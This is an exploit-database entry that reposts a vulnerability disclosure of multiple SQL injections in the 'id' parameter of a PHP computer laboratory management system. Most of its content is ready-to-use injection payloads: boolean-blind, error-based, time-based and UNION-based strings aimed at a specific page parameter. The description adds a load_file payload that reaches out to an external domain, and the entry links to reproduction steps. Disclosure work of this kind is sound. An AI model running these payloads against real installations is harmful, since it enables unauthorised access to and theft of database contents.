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LMS-PHP-byoretnom23-v1.0 Multiple-SQLi

CVE Category Price Severity
N/A CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') N/A N/A
Author Risk Exploitation Type Date
ByORETNOM23 N/A Remote 2024-03-28
CVSS EPSS EPSSP
CVSS:4.0/N/A 0 0

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024030067

Below is a copy:

LMS-PHP-byoretnom23-v1.0 Multiple-SQLi
## Title: LMS-PHP-byoretnom23-v1.0 Multiple-SQLi
## Author: nu11secur1ty
## Date: 03/28/2024
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html#comment-104400
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The id parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\95ctkydmc3d4ykhxxtph7p6xgomiagy71vsij68.tupgus.com\\mpk'))+' was submitted in the id parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all information from the system by using this vulnerability!

STATUS: HIGH- Vulnerability

[+]Payload:
```mysql
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: page=user/manage_user&id=7''' RLIKE (SELECT (CASE WHEN (2375=2375) THEN 0x372727 ELSE 0x28 END)) AND 'fkKl'='fkKl

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: page=user/manage_user&id=7''' AND (SELECT 1734 FROM(SELECT COUNT(*),CONCAT(0x716a707071,(SELECT (ELT(1734=1734,1))),0x71717a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CYrv'='CYrv

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=user/manage_user&id=7''' AND (SELECT 6760 FROM (SELECT(SLEEP(7)))iMBe) AND 'xzwU'='xzwU

    Type: UNION query
    Title: MySQL UNION query (NULL) - 11 columns
    Payload: page=user/manage_user&id=-2854' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a707071,0x6675797766656155594373736b724a5a6875526f6f65684562486c48664e4d624f75766b4a444b43,0x71717a7871),NULL,NULL,NULL,NULL,NULL,NULL#
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2024/LMS-PHP-byoretnom23-v1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/03/lms-php-byoretnom23-v10-multiple-sqli.html)

## Time spent:
01:15:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>

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